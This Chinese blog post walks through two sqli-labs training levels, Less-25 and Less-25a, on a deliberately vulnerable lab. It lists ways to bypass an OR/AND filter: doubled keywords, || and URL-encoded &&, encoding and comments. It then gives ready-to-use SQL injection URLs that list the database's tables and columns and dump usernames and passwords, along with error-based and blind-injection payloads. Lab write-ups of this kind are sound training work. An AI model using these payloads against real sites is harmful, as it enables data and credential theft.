Sqli-labs之Less-25和Less-25a

                                               Less-25

GET-基于错误-您所有的OR&AND都属于我们-字符串单引号


Notice: Undefined variable: hint in C:\phpStudy\WWW\sqli\Less-25\index.php on line 81
Hint: Your Input is Filtered with following result:

翻译:

注意:未定义变量:在第81行的C:\ phpStudy \ WWW \ sqli \ Less-25 \ index.php中提示
提示:将使用以下结果过滤您的输入:

一上来就有报错与提示信息。

我们先正常输入,看返回的页面是什么样子的:

?id=1

有两条只要信息:1.页面返回了用户名和密码信息 2.有提示信息,提示:您的输入已过滤,结果如下:1 

通过以上信息我们了解到这道关卡将会对我们注入的一些字符进行过滤。

那么测试引号闭合问题:

?id=1' 和 ?id=1"

   

发现是单引号注入,且没有对单引号进行过滤,由于中间字体图片过大,这里注释掉源文件显示该图片的代码,方便显示。

接下来就是过滤绕过了:

有过滤的时候首先要判断这个过滤是一次性的还是非一次性的:

若是一次性的,且只是将过滤字符换成了空字符:

  • 双写绕过—— or=oorrand=anandd

若是非一次性的,就要考虑一些变形:

  • 大小写变形绕过—— or=Or=oR=OR

  • 利用运算符——   or=||and=&&

  • URL编码绕过——  #=%23,Hex编码—— ~=0x7e

  • 添加注释  ——  /*or*/

。。。。。

在开始注入前还要说一下的是,在url中空格和一些特殊字符会进行url编码例如:#是%23,空格是%20

所以这样写 ?id=1'# 将会报错,要写成这样 ?id=1'%23 才不会报错,所以我们可以使用 -- #进行注入或者 --+

查看下源码:

不区分大小写的意思:比如A和a作为不同字符看待,不区分是作为同一字符看待

本关卡是一次性绕过,所以可以利用手写绕过,当然也可以利用运算符进行绕过,因为源码中知识
这里的正则匹配//i同时匹配大小写,所以不能用大小写绕过。

双写绕过

暴字段:

?id=1' oorrder by 3-- #

  

?id=-1' union select 1,2,3-- #

暴库:

?id=-1' union select 1,user(),database()-- #

爆表:

?id=-1' union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'),3-- #

爆字段:

?id=-1' union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' anandd table_name='users'),3-- #

爆数据:

?id=-1' union select 1,(select group_concat(concat_ws('-',id,username,passwoorrd)) from users),3-- #

运算符绕过

?id=-1' || extractvalue(1,concat(0x7e,database()))-- #

或者

?id=1' || extractvalue(1,concat(0x7e,database()))-- #     都是一样的,理解or和函数extractvalue在一起的作用就会明白这两种写法都对。

剩下的自己尝试。

注意这里使用&&运算符会报错:(不知道为什么)

?id=1' && extractvalue(1,concat(0x7e,database()))-- #

这关使用布尔盲注也是没问题的:

?id=-1' || left(version(),1)=5-- #

                                                                           (无错误的回显)

这里也要强调的是使用 oorr,aandnd,|| 进行绕过都是没问题的,但使用 && 就是不行,它只会报错,原理现在还不清楚。

PS:

后来发现对&&进行url编码,变成了%26%26,那么就可以进行注入:

 

==================== 分隔符 =======================

                                                          Less-25a


基于Bool_GET_过滤AND/OR_数字型_盲注

1正常回显,1'1"都报错,判断为数字型注入:

 

本关与Less-25十分相似,既可以正常union注入也可以用脚本BoolTime盲注。但却不能报错注入

?id=-1 || extractvalue(1,concat(0x7e,database()))-- #  

原因在于没有输出错误项,即关闭了错误报告。

具体过程自行尝试。

(再说一点小知识:如果在一个php文件最前面写入函数error_reporting(0)那么,这一个页面将不会返回任何warning(警告信息,不影响其他php文件

 

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值